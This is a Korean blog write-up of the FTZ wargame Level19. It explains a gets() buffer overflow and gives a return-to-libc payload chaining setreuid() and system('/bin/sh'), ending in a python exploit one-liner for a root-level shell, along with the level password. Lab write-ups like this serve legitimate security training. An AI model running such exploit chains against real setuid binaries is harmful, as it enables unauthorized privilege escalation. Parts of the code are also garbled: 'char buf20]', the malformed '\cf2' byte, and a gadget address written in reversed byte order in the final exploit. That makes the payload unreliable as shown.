tmxklab
[FTZ] Level19 풀이 본문
1. 문제확인
1) 사용자 및 패스워드 : level19 / swimming in pink
2) 파일확인
3) hint 코드 설명
main()
{
char buf20];
gets(buf);
printf("%s\n", buf);
}
- gets()를 통해 buf에 사용자의 입력 값을 넣고 printf()로 출력시키는 단순한 코드
- gets()로 인해 buf배열의 크기(20bytes)보다 더 큰 입력을 받을 수 있음 -> bof 취약점 존재
2. 접근방법
1) attackme 디버깅
- <main+9, 12, 13> : gets함수의 인자인 buf가 gets함수 호출하기전에 push하므로 [ebp-40]위치에 buf변수 존재
2) 스택구조
3) 결론
- gets()를 통해 buf배열의 크기(20bytes)보다 더 큰 값을 받을 수 있음
- RTL공격기법을 사용하여 공격가능
3. 풀이
1) level20의 reuid와 euid확인($cat /etc/passwd)
- setreuid()을 사용하기 위해 인자 값인 level20의 reuid와 euid를 찾아야함
- 하지만, 해당 코드에는 setreuid()가 없어 /etc/passwd에서 확인 → reuid : 3100 / euid : 3100
- 3100 → \x1c\x0c\x00\x00
2) system(), setreuid(), /bin/sh 주소 확인
- system() 주소 값 : 0x4203f2c0 -> \xc0\cf2\x03\x42
- setreuid() 주소 값 : 0x420d7920 -> \x20\x79\x0d\x42
- /bin/sh 주소 값 : 0x42127ea4 -> \xa4\x7e\x12\x42
3) 가젯사용을 위해 pop, pop, ret가 존재하는 주소 확인
- $objdump -d attackme
- 가젯으로 사용할 pop, pop, ret가 연속으로 등장하는 구문 확인
- 가젯 주소 값 : 0x804849d -> \x9d\x84\04\x08
4) 공격 코드 작성 및 RTL공격 수행
* 페이로드
dummy[44bytes] + setreuid()[4bytes] +가젯[4bytes] + reuid값[4bytes] + euid값[4bytes] + system()[4bytes] + dummy[4bytes] + /bin/sh[4bytes]
* 공격 코드
(python -c 'print "A"*44 + "\x20\x79\x0d\x42" + "\x08\x04\x84\x9d" + "\x1c\x0c\x00\x00"*2 + "\xc0\xf2\x03\x42" + "A"*4 + "\xa4\x7e\x12\x42"';cat)|./attackme
* RTL 공격 기법에 대한 설명은 따로 정리해서 올릴 예정
'War Game > FTZ' 카테고리의 다른 글
[FTZ] Level18 풀이 (0) | 2020.01.12 |
---|---|
[FTZ] Level17 풀이 (0) | 2020.01.12 |
[FTZ] Level16 풀이 (0) | 2020.01.12 |
[FTZ] Level15 풀이 (0) | 2020.01.12 |
[FTZ] Level14 풀이 (0) | 2020.01.12 |
Comments